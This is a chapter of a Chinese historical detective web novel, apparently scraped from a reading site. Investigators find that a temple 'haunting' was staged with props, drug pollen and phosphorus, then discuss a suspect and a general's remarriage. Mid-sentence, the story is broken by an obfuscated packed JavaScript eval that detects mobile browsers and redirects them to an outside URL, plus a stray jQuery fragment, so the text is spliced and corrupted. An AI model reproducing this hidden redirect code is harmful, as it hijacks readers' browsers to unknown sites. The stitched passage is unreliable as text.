自筠娘知道阿史那媗在大理寺任职时虽感到惊奇,但对此却是闭口不言,只是时不时暗暗赞许她身上与生俱来又与长安娘子不同的英气儿。
这日清晨,阿史那媗同崔珩、谢惟砚两人天不亮就登上了终南山,只为再回顾一下那夜的“闹鬼”之事。
山路难行,待他们抵达云虚观时,正逢观内弟子上晨课。此时万籁俱寂,但余钟磬音。
他们按往常般绕到后山,从矮墙上翻过,不过在经过静明的斋房时,突然听到不远处传来细微脚步声。
三人瞬时躲在屋后,静等那脚步声走远。
可那声音越来越近,随后就走向他们,站在静明的斋房前。
“裴娘子,就是这里了,还请您快点,若被师姐们发现我就要遭殃了。”
三人一听这声音,便认出是那日的静清女冠。
而那名“裴娘子”轻咳几声,道声“多谢”便推门进入屋内。
静清守在门外,挡住了三人要出去的路。
三人只得继续待在墙后,正当他们不知还要等多久,打起瞌睡时,却听屋内传来阵阵哭声还有一些翻箱倒柜的动静。
阿史那媗自听到那咳声时,心中便有些生疑,如今再听到那哭声,她是怎么也坐不住了。
她悄悄在窗纸上捅了一个小洞,露出一只眼睛窥探屋内情形。
屋内女子带着白色帷帽,一身石榴红织金襦裙,在大幅度动作下略有些不整。
这白色帷帽……
“裴娘子好了吗,你的侍女在催了。”静清低声对着屋内唤了唤。
女子应声抬起头时,阿史那媗微微一愣,果然是她先前在酒楼里见到的瑶娘子。
瑶娘似感觉到什么,朝着这边望过来,阿史那媗迅速低身俯下。
静清又敲了敲门扉,“裴娘子?”
瑶娘回过神,将门打开,“抱歉。”
静清摆摆头,探着脑袋几番确认后,带着瑶娘离开。
两人走远后,崔珩从阿史那媗的面色中看出什么,“你认识?”
阿史那媗沉重地点点头,让崔珩拿出那张小像。
“原来是她……”阿史那媗看着那张小像,记忆与面前的人渐渐重合,赋予了她五官,和似春水般的笑容。
“媗娘,你别卖关子啊。”谢惟砚在一旁也迫不及待想知道答案。
“你们可还记得先前在酒楼遇到的那个不停咳嗽的小娘子,这枚小像和方才在屋内的人都是她。”
两人都回忆了一下,最终都说道:“没想到竟是她。”
崔珩抬头看了看天,“没时间了,我们赶紧去那两间厢房看看就赶紧撤吧,剩下的回了大理寺再讨论。”
三人迅速离开观内弟子的住处,没多久就回到了他们那夜住的斋房。
谢惟砚环抱双臂,有些抖索,不断地打量四周,“我总觉得这里还是有些阴森森的,不会真有鬼吧。”
阿史那媗笑道:“鬼吓了你一遭,有可能还想要再吓你一遭。”说罢,她还在谢惟砚耳边“哈”了一声。
惊得谢惟砚跳了起来。
阿史那媗笑道直不起来腰。
崔珩无奈地看看两人。
他又走到厢房前,只见门和窗都被木板钉死,拉也拉不开。
“都被封死了,不好进。”崔珩皱眉说道。
“这还不简单。”
阿史那媗瞄了瞄房梁的高度,让崔珩给自己搭把手,就借着崔珩的力跃到了屋顶。
这样借力登房的办法只能允许两个人上去,谢惟砚打死也不愿再进去看,就让崔珩和阿史那媗一起进去,他在外面放哨。
崔珩同阿史那媗掀开几片房瓦,就钻进了屋内。
谢惟砚说的对,这里即使是白天屋内也总有一种阴森的气息,许是因为木板钉在窗户上,阻挡了阳光进入。
两人分头行动,阿史那媗回到那夜睡过的窗,还好道观封屋时,并未破坏现场,许是他们也害怕吧。
她抬头看了看墙顶,原来那夜的“鬼脸和长发”竟只是一张薄猪膀胱,被人粗糙的画了几笔,又用沾了松脂的马鬃充作了头发,半遮半掩下竟还真像个人。
至于地上的血痕,此时已经干枯,阿史那媗抹了一点,嗅了嗅。
难怪当时他们住进来时,并未看到地上有血痕。
这是用参杂了石矾的茜草汁,只有到达一定温度时,才会渐渐浮现。
“李媗,你看完了吗?”崔珩唤道。
阿史那媗走过去,只见崔珩把玩着那铜镜,上面有个扳扭,被缠了鱼线。
当扳到上面时,是一个在梳妆的女子,而扳到下面时就变成了,一个在诡笑的“女鬼”。
阿史那媗又注意到了另一边木板的空隙下,窗纸被捅破了一个孔,约莫是个圆筒形。
如此这般她便明白了,那夜之所以出现幻觉是有人往屋内吹了曼陀罗花粉。
而那幽绿的磷火,应是在竹筒内侧涂了白磷粉然后在外面裹着浸过松油的麻布。通过白磷自燃引燃松油,形成可控的火球。
再到地板上加热,使茜草汁浮现,形成“血痕”。
阿史那媗不禁发笑,原来那夜将他们吓坏的东西竟都只是这些小玩意儿。
这时谢惟砚问了问,“淮桉、媗娘,你们在里面怎么样?我听见外面有动静,弟子们好像下课了。”
“好,我们这就出去。”崔珩回道。
两人这次就不用借力出去了,在屋内搬了个凳子,便登上了房梁。
出去落地后,几人要走被阿史那媗叫住。
“等等。”
阿史那媗在两人疑惑的眼神中走向那夜柳肃睡过的斋房,这个屋子的房梁要比他们那间低,阿史那媗自己便登了上去。
果然不出她所料,这里的瓦片也有被人撬动的痕迹。
看来那夜至始至终都没有闹鬼一说,皆是人为。
*
几人从云虚观回到大理寺,商讨了一下对策,静明走失案目前来看,这两人一定知道内情。
一个是云虚观的女冠静清,一个是今天的裴瑶娘。
“去查查长安城中姓裴的哪家有一位咳嗽不止,体弱多病的女娘。”崔珩吩咐着子言。
子言领命后推下。
“长安城中我知道太史令是姓裴,出身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382775|168230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
河东裴氏,但我记得他家只有三位郎君,两位女娘啊。”
“那裴家大娘和二娘,各个都身强体壮的,可没有那日见到的娘子那般弱不禁风。”谢惟砚说道。
“许是其他裴家的娘子吧。”阿史那媗手中拿着瑶娘的小像。
谢惟砚摸头想了想,“据我所知,长安姓裴的可不多。”
“那你也动动你们金吾卫的资源,整日走街串巷的,找起人来可不比我们轻松。”崔珩给两人倒了杯水,将杯盏放在谢惟砚面前。
谢惟砚接过水,“你说我一个金吾卫日日都同你们这些大理寺的人混在一处,将军竟也从未说过我。”
阿史那媗浅饮一口,打趣道:“反正你待在金吾卫也不干事,就是起个监督作用,倒不如陪我们办案子,帮我们找人。”
“好你们两!”谢惟砚放下被子,点了点崔珩和阿史那媗。
“行!不就是找个人嘛,小爷我动动手指就能办成的事。”谢惟砚在原地踏步走了走。
阿史那媗和崔珩相视一眼,暗暗含笑。
“对了淮桉,魏国公有没有告诉你,那个辅国大将军又要续弦了。”谢惟砚停住步子说道。
“我不知道。”崔珩不知为何神情忽然冷淡下来。
阿史那媗问道:“这位辅国大将军是谁。”
“是卢将军,官阶正二品,你知道他今年多大了吗?”
阿史那媗摇摇头。
谢惟砚声音渐小,“七十多岁了!他可是两朝元老,别看淮桉的阿耶是国公,卢将军续娶,魏国公都得去恭祝他,更别说我和淮桉去不去了。”
阿史那媗震惊,“他都那么大了,还娶妻啊?”
崔珩也加入了话题,“卢将军娶过五任夫人,却都一一先他而去,如今娶的这是第六任。”
“他克妻啊。”阿史那媗说道。
两人都同时“嘘”了一声,“长安人人都有这想法,可从没人敢说出口,我们在这里说说就罢了,出去说话可得谨慎些。”
阿史那媗别别嘴,点头。
谢惟砚说道:“据说这位新夫人,比卢将军小六十岁,将军府妻妾成群,这位娘子着实可怜了些。”
“是哪家的娘子?”崔珩问道。
谢惟砚摆摆头,“想来是小户人家的娘子,卢将军这个年纪,娶妻也不在乎家世门第了,只要年轻貌美些就行。”
阿史那媗皱眉,“他这么老了,竟还有人家愿意把女儿嫁给他。”
谢惟砚笑道:“在京中谁不想攀附权贵,卢将军虽老,地位却高。小娘子嫁过去,谁不称呼一声将军夫人。”
阿史那媗不说话了,她并不觉得这将军夫人有什么值得稀罕的,她只觉得这女子可怜。
谁不想要一个疼爱自己的夫君,那位娘子嫁过去,整日面对的是一屋子的妾室,要照顾同自己一样大的庶子。
她明明自己也是个孩子,怎么就当的了母亲呢?
崔珩这时说道:“圣人还是太宽纵这样的风气了,长此以往下去朝廷就都靠女儿来升官赚利罢。”
阿史那媗看向崔珩,心中不觉想:
他真的不一样……